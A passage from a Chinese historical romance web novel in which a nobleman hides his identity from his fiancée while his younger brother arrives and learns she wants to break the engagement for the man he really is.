郑墨杵在一旁不知在想什么,也没出面打圆场。
几人间的气氛一下变得有些尴尬。
盛乔以为纪明实也会当作没看到自己,不料他竟然直接朝这边走了过来。
“阿乔。”他的声音依旧温和,如往常一样。
如此态度,反而显得盛乔有些斤斤计较,她抿了抿唇,没说话。
纪明实并不意外,也没有要避开郑墨等人的意思,自顾自开口道:“那日我对你说得话,的确是有些过分,但你应该知道,我也是为了你好。”
“我们从小一起长大,什么情分你应该最清楚了,我只是不想你受到任何伤害。”
“但我的语气太急了,是我不对,我向你道歉。”
他这番话说得很是诚恳,甚至还朝盛乔规规矩矩地揖了一礼。
角落里零星几个学生不知发生了什么,但见这架势,都在悄悄往这边看。
盛乔没经历过这样的场面,更显得有些局促,半晌才小声道:“我没怪你。”
“还说不怪呢。”纪明实却笑了一下,“连明实哥哥都不叫了,刚才我进来的时候,也当没看见我似的,难道还真一辈子不理我了不成。”
纪明实从桌上捡了个空茶杯,斟了一杯茶,朝盛乔举杯道:“我今日便以茶代酒,向阿乔妹妹道歉。”
说这话时,他的语气分外宠溺,仿若两人当时的争吵只是一个无伤大雅的小插曲。
他这般态度,盛乔倒也不好再计较下去,诚恳道:“我真的没怪你,明实哥哥。”
听到“明实哥哥”四个字,纪明实总算松了口气,“你还肯原谅我就好。”
一旁的郑墨也回过神了,虽不知两人之间到底发生了什么,但还是轻推了盛乔一把,笑着说:“什么原谅不原谅的,你们两个从小一起长大,也算是青梅竹马的情分,阿乔,是不是?”
盛乔明白表姐是给自己铺台阶,当着众人的面,她到底没再说什么反驳的话,学着纪明实的动作,也端起自己手旁的茶杯,一饮而尽。
徐肃年走进来的时候,正看到盛乔和纪明实举杯对饮的这一幕。
再看一旁郑墨半干不尬的表情,也大约能猜到刚刚发生了什么。
这纪明实,也算脑子开窍了。
知道阿乔吃软不吃硬,竟也知道走迂回路线了。
那边纪明实也在此时撂下茶杯,不经意一回头,正好看到他。
虽然动作顿了顿,纪明实倒也没说什么,甚至还很知礼数地朝他点了点头。
一旁看着的盛乔见他如此态度,提着的心当即放松了下来,原本对纪明实的最后一点芥蒂也不自觉放下了。
徐肃年只看盛乔的眼神就知道她心里在想什么。
他知道,这就是纪明实的目的。
在纪明实心中,始终没把他这个“车夫”放在眼里,因为他坚定的相信,燕国公不会答应自己的宝贝女儿和一个车夫扯上关系。
因此,他并不需要在意一个车夫,只需要讨好盛乔就够了。
这个想法,就连徐肃年都不能说出什么问题。
只可惜……
盛乔是他的。
徐肃年掩去眼里轻蔑的笑意,当着纪明实的面,隔着半个花厅朝盛乔点了点头,算是打招呼。
他的动作幅度不大,但郑墨几人都知道,他是在和盛乔打招呼。
盛乔悄悄觑了一眼郑墨的脸色,虽有些不好意思,但也朝他笑了笑。
虽然时下民风已算十分开放,但徐肃年并不希望盛乔被学生们议论,因此并没有走过去和她同坐的意思。
只是暗示般地点了点自己的嘴唇。
然后,便拎上厨娘递来的食盒,转身走出了求知堂。
小厅里,不知盛乔看到了,郑墨、纪明实、琥珀自然也都看到了男人的动作,只是琥珀一直在状况外,郑墨和纪明实则不约而同地看向盛乔。
明明是很寻常的一个动作,但不知为何,由徐少安做起来,就仿佛充满了暗示——
盛乔瞬间想起了上午在耳房发生的一切。
一缕绯红顺着脸颊一直爬上耳根,盛乔有些心虚地捂住耳朵,看着郑墨和纪明实,“你们,你们看我干什么?”
两人都没说话,但郑墨的眼神实在有些意味深长,盛乔总觉得表姐好像发现了什么似的。
她掩饰般地轻咳一声,说:“我已经吃完了,先走了。”
说完就立刻要往外走,琥珀见她要走,也忙跟着要起身,却被盛乔一把按了回去,“你继续吃,别管我,我就是突然想去花园里散散步。”
“可是……”琥珀还想再说什么,这回被郑墨拽住了。
琥珀不解地看着她,“郑娘子,你拦着我做什么呀。”
郑墨叹口气,“由着她去吧。”
走出求知堂,是一条没有岔口的小路,周围绿荫森森,在夏日能遮挡阳光。
盛乔一边往前走,一边往两边看,低声唤道:“徐少安。”
“徐少安……”
她以为徐少安会在路上等着自己,没想到叫了几声都无人应答。
他竟然真的回去了!
盛乔脸上的表情一下子就垮了下来。
“亏人家还追了出来,原来根本没想着要等我。”她一边走,一边愤愤地抱怨。
正巧路上有颗小石子,她有些失望地一脚踢开,石子骨碌碌滚了好远。
身后忽然传来一声轻笑,“至于这么生气?”
盛乔动作一顿,忙转身回头,见徐少安正负手站在身后的一处绿茵下。
她先是惊喜地想要跑过去,但忽又想起了什么,一下子变得矜持起来,“你不是回去了吗?在那站着做什么?”
徐肃年如何不知道她的小心思,主动走过来,哄道:“小娘子脾气这么大,我哪敢真的回去,只怕小娘子要把我当成石子踢。”
他说得夸张,盛乔故作严肃地瞪他一眼,却掩不住唇角的笑意。
徐肃年见好就收,没再故意惹她生气,而是从怀中掏出一方帕子,抬手凑到盛乔唇边。
盛乔下意识地躲了一下,“做什么?”
徐肃年却拿空着的那只手握住盛乔的肩膀,不许她躲,然后说:“还能做什么,帮你擦嘴。”
盛乔大惊,“我嘴角有东西吗?”
难道她方才和人说话的时候,嘴边一直沾着东西,可她分明擦过了呀。
徐肃年不回答,只是捏着帕子仔细地给她擦起来,那认真的架势,倒像是在提笔作画。
男人的帕子不是多名贵的布料,织绣虽说不上粗糙,可盛乔的嘴唇实在太娇嫩。布料不轻不重地贴上去,绕着她的唇形一点点擦拭着,盛乔忽然觉得有些痒。
她强忍着没动,却还是不自觉地抿了抿唇。
徐肃年只当没看见,替她擦完之后,重新把帕子叠好收回怀里,这才道:“没有别的东西,只有没抿干的茶。”
茶,什么茶?
盛乔懵懵的,明显没听懂他的意思。
徐肃年看着她,说:“以后不许随便和别人碰杯。”
盛乔这才明白他指的是什么,却有些委屈,“可我也没和他碰啊……”
重点是碰杯吗?
徐肃年恼火地看了她一眼,“也不许和别人一起喝茶。”
这是什么道理,盛乔更不满意了,“为什么不许,我每天都要和表姐一起喝茶。”
徐肃年被她气得深呼了口气,硬邦邦地说:“郑娘子可以,他不行。”
起先盛乔还没听懂男人说的这个“他”
指的是谁,愣了一下才反应过来。
她看着男人面无表情的俊脸,语气竟有些新奇,“徐少安,你是不是吃醋了?”
徐肃年看她一眼,不承认,“吃什么醋?”
“当然是明实哥哥的醋了。”
徐肃年一听到那四个字就自动皱起了眉头,“我没有。”
“还有,不要那么叫他。”
他已经许久没有用这样的语气和盛乔说过话了,但盛乔并不生气,反而觉得他这幅模样很是有趣,于是故意装听不懂,“我怎么叫他了?我不明白你的意思。”
徐肃年知道她是故意在气自己,他阴恻恻地勾了勾唇,然后说:“小娘子不明白没关系,下次我当着他的面再亲你一次,他就明白了。”
说完,拇指在盛乔的唇角摩挲了一下,力道不算重,却带着一点惩罚的意味。
盛乔莫名被这动作羞红了脸,没再反抗,不怎么乖巧地哦了一声。
就这样,两人笑闹着穿过小路,将要分开时,徐肃年问她要不要到自己那里去,盛乔摇了摇头,说:“我下午要去找我表姐。”
方才吃饭的时候,郑墨几乎一直在发呆,盛乔就算再迟钝也发现不对了,只是碍于在外面才没有开口问。
下午有空,她自然要去郑墨。
徐肃年闻言也没再说什么,只揉了揉她的头发,然后又叮嘱了两句,这才与她分别。
本想下午陪盛乔的,没想到她有别的事,因此徐肃年用完了午膳,便离开了济善堂。
端阳侯在洛州官驿的消息已经正式放了出去,他最近得多去官邸走走,等着钓鱼。
不过钓鱼更多的时候是等待,好在徐肃年一向很有耐心。
徐肃年没见任何人,甚至没有见卢烨,直接跟着齐甄来到了“端阳侯”的住处,然后把门一关,躺在榻上看起书来。
午后的时光最是悠闲,连徐肃年都有些昏昏欲睡。
这时,门外传来敲门声,是齐源的声音,“侯爷,有人求见您。”
徐肃年方才已经交代了不见任何人,听到齐源的话不由得蹙了下眉,但他也知道,若不是有什么特殊的情况,齐源绝不会违抗自己的命令。
徐肃年合上兵书,起身去开门,正要问是谁,忽然见齐源往身边一让,露出了身后的另一个人来。
看清那人的脸,徐肃年微微一愣,“二郎?”
徐肃景脸上挂着大大的笑,冲上来直接抱住了徐肃年,“大哥!”
搂搂抱抱成何体统。
徐肃年立刻将他推开,眉眼之间却也难得露出几分笑意,他摆摆手示意齐源退下,然后拉着徐肃景进来,这才问:“你怎么会来洛州?”
“大哥还说呢。”徐肃景叹口气,然后从怀里掏出一封盖着丹宁长公主印鉴的信封,递给他,“还不是阿娘担心你,也不知道是什么重要的信,偏要我亲自来送。”
徐肃景今年十八,虽然年轻,不过徐肃年其实也没比他大多少岁。
但大约是徐肃年自小便很能稳得住,徐肃景对这个大哥也是既仰慕,又佩服,说话的时候也不由得带了点撒娇的意味。
徐肃年接过信那一瞬间,在信封上嗅到了一股极淡的香味,像是女人的脂粉香气。
接信的动作微微一顿,而后不准痕迹地放在手边,徐肃年抬头看了自家弟弟一眼,倒没说什么,而是亲自给他倒了杯茶。
徐肃景一边喝茶,一边用商量的语气和徐肃年说:“哥,阿娘给你写的到底是什么信,这么宝贝着,竟然还盖了印鉴,弄得我都不敢拆了,一会儿你看完能不能让我也看看。”
徐肃景是真的好奇,想知道这信到底写得是什么。
徐肃年却没有要拆开的意思,把信推到一边,然后眼神审视地看向徐肃景,“你什么时候到的洛州,怎么没提前和我打声招呼?”
“我已经是大人了,洛州这么近,哪还用打招呼。”徐肃景不满徐肃年总拿自己当小孩儿。
徐肃年不置可否,只又将方才的第一个问题重复了一遍,“什么时候到的洛州。”
“当然是今天刚到啊。”徐肃景说。
“是吗?”徐肃年淡淡地看了他一眼,“刚来就去青楼?”
徐肃景原本在喝茶,听到这话差点把口中含着的茶水喷出去。
一阵惊天动地的咳嗽之后,徐肃景一副被污了清白的样子,“哥,你在说什么!我堂堂丹宁长公主府的二公子,怎么会去那种腌臜地方。”
以前他也有这么吵吗?
徐肃年简直被他吵得脑仁疼,原本温和的视线也逐渐冷了下来。
他不再说话,只是一动不动地盯着他。
那眼神如刀似剑,又冷又尖锐,即便只被盯上一会儿,都觉得像是要被剖开骨肉似的。
徐肃景被他看得心口咚咚跳个不停,小声反抗道:“哥,你怎么用这个眼神看我。”
徐肃年言简意赅,“说实话。”
徐肃景被他吓得心脏都在抖,只得小声坦白,“……是前天到的洛州。”
徐肃年冷厉的眼神却没有半分挪开的意思,徐肃景只觉得自己被这视线压得不敢抬头,却又有些不甘心,小小声地抱怨,“又把亲弟弟当犯人审。”
徐肃年严肃地一拍桌子,“你说什么?”
徐肃景险些直接跪下去,他看了一眼兄长的表情,仍还有些不服气,“不就是到了洛州没第一时间来找你嘛,大哥至于这么生气吗?”
“都说洛州繁华不输长安,我也是被乱花迷了眼,想着若你在,肯定不许我随便出门,这才多玩了几天,但是,但不也没耽搁什么事嘛,我出发前问过阿娘,这信急不急,阿娘还让我慢慢赶路来着。”
徐肃景委屈地辩解。
徐肃年脸色未变,却有些无奈地叹了口气,“你知不知道洛州的水有多深,若是被人知道你的真实身份,怕是要危险了。”
徐肃景却道:“我不怕。”
其实这次来洛州,并不是丹宁长公主交代的,而是他主动要求的。
大哥只比他大三岁,在他心中,却一直是这世上最厉害的人。
大哥从小优秀,所以他也刻苦读书,为的就是别人提起自己的时候,能赞一句,不愧是徐家二郎,和他哥哥一样厉害。
能与哥哥并肩,是他最大的愿望。
可不知道是不是大哥入朝为官的原因,最近这些年,大哥越来越忙,和他的关系也莫名透出了几分疏远。
他几次和阿娘提起,想要入朝做事,阿娘却总说他年纪太小,只要先把书读好就是了。
可大哥在他这个年纪,都已经在大理寺做少卿了。
而他还一事无成,成日待在公主府做他的纨绔子弟。
他想做官,想跟在大哥身边,想要成为和他一样的人。
他早知道大哥这次到洛州,是领了陛下交代的差事,所以得知阿娘要给送信的时候,立刻自告奋勇地来了。
不只因为他想大哥,更因为他想待在大哥身边,和他一同办案。
虽然当时大哥没说具体到洛州是什么案子,可他猜也能猜到,一定是和去岁的洪水有关。
朝廷百官总有千丝万缕的联系,徐肃景知道这件事一定不会和惠国公府的人脱了关系,因此在长安城的时候就没闲着。
到了洛州之后,他会去善喜楼,也是得知善喜楼背后的东家可能是朱家人,因此才扮作纨绔进去耗了两日,想看看有没有什么能够探查的消息。
也算是功夫不负有心人,徐肃景还真的有一些发现。
他看着兄长冷冰冰的表情,有些委屈,想要替自己辩解几句,却忽然听大哥叹了口气,“算了,有什么
话改日再说,你这几天也玩累了,先好好休息罢,我叫人给你安排住处。”
听出大哥的态度软化,徐肃景也没再顶嘴,很乖地点了点头。
徐肃年叫来齐甄吩咐了几句,然后让他带着徐肃景去房间休息。
徐肃景应一声就要出去,徐肃年却又叫住他,不怎么温柔地嘱咐道:“不许再出门乱惹事,否则我打断你的腿,听到没有?”
明明是关心自己,却非要用这样的语气。
徐肃景面上不敢露出别的情绪,心中却在腹诽,难怪连未婚妻都要得罪了。
他悄悄地撇了撇嘴,至于徐肃年说的不许出门的话,自然被他转身就扔在了脑后。
怎么可能不出门,他还答应了未来的小嫂嫂,要带她见自家大哥呢。
当晚,徐肃年陪弟弟用了个晚膳,夜里没再回济善堂,但也怕盛乔早晨去找他发现他不在,会生出怀疑。
于是,天刚蒙蒙亮时,徐肃年就离开了驿馆。
而等徐肃景醒来的时候已经日上三竿了,他迷迷糊糊地穿上衣裳,出门看到齐甄,下意识先问:“我大哥呢。”
齐甄说:“侯爷说有事,一大早就出去了。”
这么早就走了。
还说要一起用早膳呢。
徐肃景先是有些失望,而后又立刻窃喜起来,正好这会儿趁着大哥不在,可以先斩后奏地把盛家三娘子带过来。
如此想着,徐肃景飞快地梳洗更衣,然后骑马出门。
因对洛州城不熟悉,小半个时辰后,徐肃景才找到盛娘子留给他的地址。
原以为是燕国公府私宅,没想到是个学堂。
济善堂。
第33章 府学徐少安也姓徐,徐肃年也姓徐……
徐肃年来找盛乔的时候,盛乔正在拨算盘,满屋子滴滴当当的清脆声响。
桌上还摆着两摞帐册,徐肃年挑了挑眉,问:“这是什么?”
盛乔没抬头,手里动作也没停,“是济善堂的帐册。”
徐肃年看着盛乔手影翻飞的模样,说:“这些原不是郑娘子和孟娘子的事吗?”
盛乔听到这话终于有了反应,拨算盘的手指顿了顿,想到了昨日郑墨对她说的话——
“絮娘说,她要嫁人了。”
盛乔看着郑墨脸上的表情,很是不解,“这不该是喜事么,怎么看着表姐的脸色这么难看。”
郑墨叹口气,说:“我们现在的宅子是孟家的别院,絮娘今天告诉我,待她出嫁后,孟家便要把这间宅子收回去,而且絮娘之后怕也不能再理济善堂的事了。”
“怎么会这样?”盛乔震惊地瞪大眼睛。
“这宅子本就是孟家的,人家收回去也无可厚非,只是絮娘觉得愧疚,特意提前几个月告诉我,让我快些想办法,否则到时候孟家真的来赶人,我们岂不是无处可去。”
虽然郑墨说能够理解,其实心里也忍不住有些埋怨孟絮,当时一口答应愿意出银子的是她,现如今半途抽身的也是她。
这济善堂经营了才三个月。
孟絮是个聪明人,也知道郑墨听了她的话,心里肯定不舒服,她也没再遮遮掩掩,直白地对她说:“阿墨,我知道你要心里怪我,但我也没办法。”
这宅子姓孟,却不是孟絮的孟。
当时郑墨找到她的时候,其实并不是想让她帮忙,只是觉得她在洛州人脉更广,大约能从中牵线周旋。
她将此事与爹娘提起,不料阿爹却说他能帮忙。
孟絮当时也很是震惊,她父兄官职都不算很高,幸而祖上世代累宦,还算有些积蓄,可若供养一座书院,那需要多少银子。
阿爹却对她说:“像孟家这样上不上下不下的人家,女儿再出色,也难以寻得一个可靠的夫婿,可若有了一个好名声,便是公侯世子都不愁嫁。”
孟絮当时并不明白阿爹的意思,只是依照他的吩咐去同郑墨说了,表示自己可以出银子,且家里有个空着的别院,可以挪出来用。
郑墨是既惊讶又欢喜,随后两人又一并筹谋许久,终于算是把这济善堂撑了起来。
而等济善堂彻底开起来之后,孟絮也总算明白了父亲当时的用意。
从前她出门交际,坐的都是末流之位,但自从她承办济善堂之后,所坐的位置竟不知不觉挪到了前排,甚至上个月中阳侯夫人做寿,还给她发了帖子。
孟家在孟絮的高祖,祖父那两代时,还算有些名望,但后来祖父去世,孟家就彻底塌了台,他父亲不过区区五品官,只勉强还能维持一些文人清名。
但中阳侯可是皇亲国戚,往常哪里瞧得起孟家,如今竟然主动给她发帖子,孟絮简直欣喜得说不出话来。
如今,她能去更高层级的宴会,日后,她就能嫁身份更高的夫君。
果然,在中阳侯府的宴会上,明远伯的夫人瞧上了她,想把她说给自己的小儿子。
明远伯早年间也是京城勋贵,但渐渐地家中无人,后来家主又战死沙场,这才迁回祖籍洛州。
圣上深念其恩,不仅将允其爵位世袭,还对其后辈多有优待,明远伯的长子,如今就是在长安为官,幼子的前程定然也不会太差。
只是两家订婚时,宁远伯夫人特意提起,婚前抛头露面倒也不算大事,但婚后需得相夫教子,以夫为重。
这要求并不算过分,孟家自然无不答应,只是这济善堂,孟絮是再撑不下去了。
孟絮将这些一五一十地与郑墨说完,郑墨就明白,此时已再无转圜的余地。
对于孟絮来说,这济善堂只是她扬名的手段,如今目的达到了,何必再往里白扔银子呢。
孟家可还没富裕到那种程度。
就算有闲钱,还不如多置办两抬嫁妆,将婚礼办得再风光一些。
何况像济善堂这样的事,根本就是一个吞银子的无底洞,因为她不是要办一天,也不是一个月,而且想长长久久地开下去。
孟絮有自己的路要走,她又何必为难?
何况这三个月,她也算得上是尽心尽力了。
想通这点后,郑墨也不再纠结,只是对孟絮说:“絮娘,我自知你苦衷,只是腾挪新宅子也需要时间,布置修缮也需要时间,希望你也能理解我。”
孟絮并没有为难她,“我是秋日的婚期,此前,你尽管去办就是了。”
虽说离着秋天还有好几个月,可两个人都清楚,此时最难的不是换宅子,而是郑墨根本没有那么多的银子。
不过这话,两人谁都没有提起,因为这是只需要郑墨一个人烦恼的问题了。
郑墨原本也不想告诉盛乔的,没想到她那么敏锐地察觉到了自己情绪的变化,直接问上了门。
郑墨犹豫了一下,还是同表妹提起了此事。
她已经说得足够委婉,但盛乔听了还是很生气,觉得孟家这根本就是不负责任的表现。
既然没有长久办下去的心,当时又何必给人希望呢。
最重要的是,盛乔完全不明白,为何嫁了人就不能再经营这书院了。
婚前和婚后,又有何不同。
郑墨向她解释,“絮娘也是没办法,她出身不高,婚后自然一切都听婆家的,婆家不许,她又能如何?”
她提到婆家,盛乔觉得整件事里,最让人无法理解的就是孟絮的婆家了。
一介伯府,能瞧上五品小官的女儿,所图的自然不是什么钱财帮衬,只为的是孟絮贤良慈善的好名声。
可她明明所图为此,却又并是真的瞧得上这门营生,否则,也不会再订婚时提出那等要求了。
不过,她再不理解又能怎样,总归不过心下抱怨几句,又不可能真的让孟絮为了这个书院不许嫁人。
她看着郑墨愁眉苦脸的样子,知道她最发愁的就是银子,于是盛乔几乎没有犹豫,立刻道:“表姐,我替你出钱。”
郑墨很惊讶,“阿乔,你可知经营一家书院,一年需要多少开销?你哪来的那么多银子。”
“我有钱。”盛乔说,“就算我没有,我可以找阿爹要,营办书院是积德行善的大好事,他会答应的。”
郑墨知道盛乔说的是事实,以姑姑和姑父的性子,只要她开口,他们就一定会愿意出钱的。
可纵然盛家爵位再高 ,钱财再多,这样入不敷出花钱如流水的事情,她又哪里好意思开口。
但见盛乔亮晶晶的眼睛,她也不想驳了表妹的好意,只道:“银子先不急,你先帮我理一理最近几个月的账本,这济善堂一年要花费多少银子,还是心里得有个数。”
于是,盛乔从昨晚到现在就一直在算账。
此时听到徐少安问她,她掐头掐中地直接说结果,“表姐要重新找一处院子安置济善堂。”
虽然她前因后果全没有交代,但徐肃年一听她这略显生硬的语气,也能猜到一二,“孟娘子日后不再出银子了?”
盛乔很惊讶,彻底停下了拨算盘的动作,“你怎么知道?”
徐肃年和郑墨昨晚的语气几乎一模一样,“这济善堂说是书院,实际就是个空扔银子的无底洞,孟家家底并不丰厚,孟娘子会退却也是意料之中。”
他说这话时,语气很是冷静,盛乔听了不舒服,抬头睨他一眼。
徐肃年看到她这个眼神就懂了,“你是不是答应郑娘子了,要帮她出这银子。”
盛乔不喜欢他这语气,淡淡的,听着没有什么人情味,于是哼了一声,“是又怎么样?”
就知道她会这么说。
徐肃年叹了口气,有些无奈地问:“这书院并不盈利,全是砸钱的事,你要多少银子才耗得起,郑娘子这些年就没有什么积蓄吗?”
他还记得盛乔同他提起过,郑墨十几岁就离开家在外游历,很少回家。
一个女郎这么早的离开家门,要么是没有家了,要么是与父母亲人的关系淡漠。
郑家一族活得好好的,也就只有第二个原因了。
既如此,郑墨独自一人在外,没有个固定的营收可活不下去。
果然,盛乔道:“表姐说她名下有两间铺子,但因为是她自己盘的店面,位置、生意都不算特别好,每年的营收并不是很多。”
徐肃年问:“铺子在哪?”
盛乔想了想,说:“好像是一间在长安,一间在江州吧。”
“长安的是西市还是东市?”
盛乔答:“西市。”
徐肃年在脑子里飞快地算了一下,然后道:“那一年能有个四五十贯入账了。”
这数量养活她自己吃喝玩乐绰绰有余,可若是想盘活一间书院,只怕连一年的租金都付不起。
盛乔听到他这话,立刻翻开郑墨先前拿给她的账本看,然后很惊讶地看着他,“这你也知道?”
她既惊讶,又钦佩,但也生出一点隐隐约约的不对劲,“你,你怎么懂这么多的东西?”
徐肃年轻咳一声,说:“我从前也想给我阿爹阿娘在西市盘一间点心铺开着。”
“你家有那么多银子,还能盘点心铺?”盛乔直白地提出疑问,“你家不是很穷吗?”
“……”
徐肃年说:“所以不是没盘成么。”
他连忙越过这个话题,主动道:“只往里填钱,一辈子都填不完,何不去找官府的学官商议,与官府合办?”
提起这个,盛乔又垂头丧气了,“哪里没找过,可是根本没人理,后来千难万难地才找到洛州府主管府学、科举的司功参军,可他是孟娘子的兄长。”
“说起来这洛州府的官员也真奇怪,兴办府学难道不是扬名立万的大好事?他们为何不愿意做?”
当然是因为没有银子拿。
徐肃年在心里冷哼一声,却没在盛乔面前表现出来,只建议道:“我最近听说,陛下派了巡抚到洛州,若是洛州的官员不答应,或许长安的官员明事理呢?”
盛乔一听这话,立刻敏感地皱起眉,用难以言喻的眼神看了他一眼,一副你在说什么鬼话的样子。
“你让我去找徐肃年?”
“……”
徐肃年顿了一下,“另一个。”
“还有其他的人吗?”盛乔不怎么出门,也不了解官场的这些事,听到他的话,不由得有些茫然。
徐肃年说:“还有一位卢大人,听说,他是上一科的状元,且出身寒门,想必不会拒绝兴办府学这样的大好事。”
盛乔每听一句,眼睛就亮上一分,以至于都忘了去问他怎么会知道这么多事。
总归死马当活马医罢,这条路能不能走通,还是要试试才知道。
盛乔从座位上跳起来,立刻就要往外走,“我去找表姐商量……”
徐肃年连忙拉住她,“小娘子别急,我话还没说完。”
在盛乔疑惑不解的目光下,他强行将人拉回来,说:“且不说你们能不能见到卢大人,就算你们现在能见到他,到时候与他说什么?”
盛乔想当然地说:“当然是提济善堂的事。”
徐肃年却说:“然后呢?”
“然后?”
小娘子十六年来一直养在深闺,甚少出门,这些事对她来说已经算是很超纲了,她茫然不懂才是常态。
若是从前,徐肃年心里嗤讽一声,也便罢了。
但此时此刻,他没有半点不耐心,无论盛乔是不是他的未婚妻,他都希望她能成为更好的人,去做自己想做的事。
“只要你们提起此事,届时卢大人定然会问你们相应的开销和计划,还有如果官府真的答应,官府出资几何?且除了钱之外,校舍选在哪,山长又是谁,除了先生之外,杂役仆妇又需要多少?”
徐肃年知道盛乔是第一次接触这么复杂的事,因此没有一次性同她提太多,只挑拣了最简单易懂的几样说起。
可即便如此,盛乔也被他说晕了,半张着嘴一句话也说不出来。
徐肃年笑着捏了捏她的脸蛋,“所以,还是先看账本,至少要将济善堂一年的花销算出来,然后再谈别的。”
盛乔觉得他说得对,顺从地点了点头,然后毫不吝啬地夸赞:“徐少安,你好厉害啊。”
没有人不喜欢听到夸奖,尤其还是心上人的。
徐肃年微扬了扬唇,正要谦虚几句,然后就听到盛乔问他:“既然你这么厉害,一定能看得懂账本罢。”
徐肃年:“……做什么?”
“你一定会的,陪我一起看罢。”盛乔不由分说地拉着他一起坐下,带着一点撒娇的意味,“那么多账本,我一个人看不完的,你陪我,好不好?”
这教人如何拒绝。
徐肃年几乎没有思考便立刻答应了,他无奈地揉了揉盛乔的脑袋,“好。”
郑墨带着人走进院子的时候,正看到两人坐在一起看账本的情形。
就连她也不得不承认,这画面的确是赏心悦目,那两人也看着极为相配。
唉,徐少安也姓徐,徐肃年也姓徐,怎么做人的差距就这么大呢。
郑墨忍不住异想天开,如果这个徐少安不是车夫,而是丹宁长公主失散多年的小儿子就好了。
这样,原先的婚事也不用退了。
郑墨想得出神,也就没注意到身后徐肃景的脸色已经像生吞了一个茄子似的,又白又紫。
他到了济善堂后,声称要找盛娘子,门房很快替她通报,然后这位郑娘子亲自把他带了进来。
可这盛娘子身边坐着的人,怎么越看越像他大哥。
第34章 欺骗谎言如何收场
徐肃年一向警惕,但因为在盛乔面前,他的大半心思都放在了身旁的女郎身上,全没在意外面的动静。
等他察觉到不对,抬头看过去的时候,郑墨已经带着徐肃景往这边走了过来。
一向思维敏捷的徐肃年也被这一幕惊到了,甚至第一反应,是怀疑自己是不是看错了。
盛乔也后知后觉地听到脚步声,抬头去看,惊讶道:“二郎君……”
然而对方却没回应。
盛乔顺着他定定的视线去看,转头看到了身边略显呆滞的徐少安。
两人相识这么久,盛乔还从未见他露出过这样的表情,奇怪地看了看他,又去看对面的徐肃景,疑惑道:“你们……认识?”
从刚看到两人在一起,徐肃景就觉得不对劲。
若不是场合不对,且对方有一个是自己的亲大哥,他看到这两人的身体靠的那么近,几乎都要以为他们是什么新婚燕尔的小夫妻了。
可那日见到
盛娘子时,她又分明说自己见不到自己大哥。
直到这句“你们认识”问出来,徐肃景才确定,盛娘子应当并不知道身边的这个就是自己未来的夫君。
果然,他还没开口,就听他大哥极为无情的回答——
“不认识。”
徐肃景嘴角抽了抽,然后在大哥充满威胁的注视下,点头,“不认识。”
盛乔却仍觉得奇怪,再度看了看两个人。
此时徐肃年的表情已经恢复如常,冷淡平静得挑不出半点错漏,盛乔没看出什么问题,干脆直接说:“那你刚才干嘛那个表情,我还以为你们认识呢。”
徐肃年飞快想好了借口,“其实是觉得这位郎君有些面善,先前在店里帮工时,好像见过,又怕认错,这才……”
徐肃景过了十八年,但这绝对是他第一次从自家大哥的脸上,看到疑似为局促的表情,他险些没压住唇角将要扬起的弧度。
徐肃年何尝看不出弟弟是在幸灾乐祸,可此时他已无心顾及,一门心思想要打消盛乔的心中疑惑。
“郎君一看就是贵人,我怎么会认识。”
徐肃年干脆也直接问道:“难道这位郎君也是济善堂的新先生么?”
这话一问出来,盛乔的疑虑立刻不见了,取而代之的是局促。
因为她忽然发现自己不知道该如何介绍徐肃景,难道要直说他是端阳侯的亲弟弟么?徐少安会不会多想。
正犹豫着,徐肃景已经施施然地朝二人揖了一礼,自我介绍道:“在下徐肃景。”
徐肃年淡定回礼,“在下徐少安。”
“少安”是大哥的字,除了阿娘之外,平时甚少有人这么叫他。
看来兄长一直在盛娘子面前以“少安”自居,只是这两人到底是什么时候认识的?
两人分明早有婚约,又何必假借其他身份?
徐肃景满腹的疑惑想要探究,奈何兄长似乎并没有久留的意思,打了个招呼就说要告辞了。
接下来说的事,的确不太适合徐肃年听,盛乔巴不得他赶紧走,没多想就立刻同意了。
郑墨也没说什么,沉默地点了点头。
徐肃景倒是有心让他留下,但还未开口,就见大哥在经过自己时,意味深长地看了自己一眼,其中的威胁意味不言而喻。
对兄长的畏惧一下子战胜了看热闹的心思,徐肃景哪还敢多说话,默默闭上了嘴巴。
等徐肃年走后,盛乔立刻看向徐肃景,“二郎君,你今日来找我,是不是可以带我去见端阳侯了。”
本来是可以的,但是现在……
徐肃景一时竟有些不知如何回答。
郑墨拉着两人坐下,又吩咐琥珀去上茶。
徐肃景端着茶杯沉吟半晌,一句话逗没说出来。
盛乔看出他的为难,忙问:“怎么了?”
答应是肯定不能答应的,虽然不知道大哥为何要骗盛三娘子,但若是因为自己,坏了大哥的好事,只怕要被大哥记恨一辈子。
于是,徐肃景犹豫了半晌,还是道:“我大哥,的确不在洛州。”
“什么?”
郑墨和盛乔几乎异口同声。
徐肃景道:“我昨日去驿馆时,只见到了我大哥的随从,他说我大哥未在洛州府,而是去了下辖的郡县,想是有什么公务要办。”
话里半真半假时,最像真话。
盛乔果然没有发觉什么不对劲,很是失望地垂下眼睫,“居然真的不在。”
看她的表情,徐肃景不由得更加疑惑,原先她以为,盛三娘子想见自家大哥,只是想尽一尽未婚妻的本分。
可现在……
她分明已经有了另一位“情郎”,难道还要吃锅看盆,两不耽搁?
徐肃景实在有些搞不懂了,纠结半晌,还是没忍住把话问了出来,“小娘子,方才那位……他是……”
这回轮到盛乔语塞了。
要不要与他说实话呢?
盛乔看了看一旁面无表情的郑墨,咬了咬牙,干脆直接坦白,“其实,我是想去找你兄长退婚!”
“退,退婚?”
徐肃景莫名觉得自己有些头晕,“为何要退婚?”
盛乔没说话,但看表情,颇有几分羞怯。
徐肃景明白了,但他的头更晕了,“你要为了刚才那个徐少安,和我大哥退婚?”
“不是为了他。”盛乔试图解释,“是为了我自己,我本来就想退婚。我阿爹已经去见过丹宁长公主了,早已主动提出要退婚,但丹宁长公主说端阳侯不在京城,不好替他做出这么重要的决定,我这才想着……可没想到你大哥并不在洛州。”
明明是晴空万里,徐肃景却觉得自己脑袋被雷劈过,额头一跳一跳地胀痛。
他沉默了半天,才从牙缝里挤出一句,“盛娘子,我只问你一句,请你务必如实告知。”
盛乔点头。
徐肃景说:“你是不是,喜欢方才那个徐少安。”
盛乔:“……”
没想到他这么直白的就把这话问了出来,不过盛乔一向不是个遮遮掩掩的人,喜欢就是喜欢,没有什么不好承认的。
虽然郑墨还在,但她仍是坦诚地点了点头。
哐当!
徐肃景手里的茶杯滑落,砸在地上摔了个粉碎。
对面两个女郎都被这动静吓了一跳,可徐肃景已经无暇顾及了。
他未来的嫂嫂想和自己的大哥退婚,原因是喜欢上了自己的大哥?!
若不是亲耳听到,徐肃景都要觉得自己是在看什么乱七八糟的折子戏。
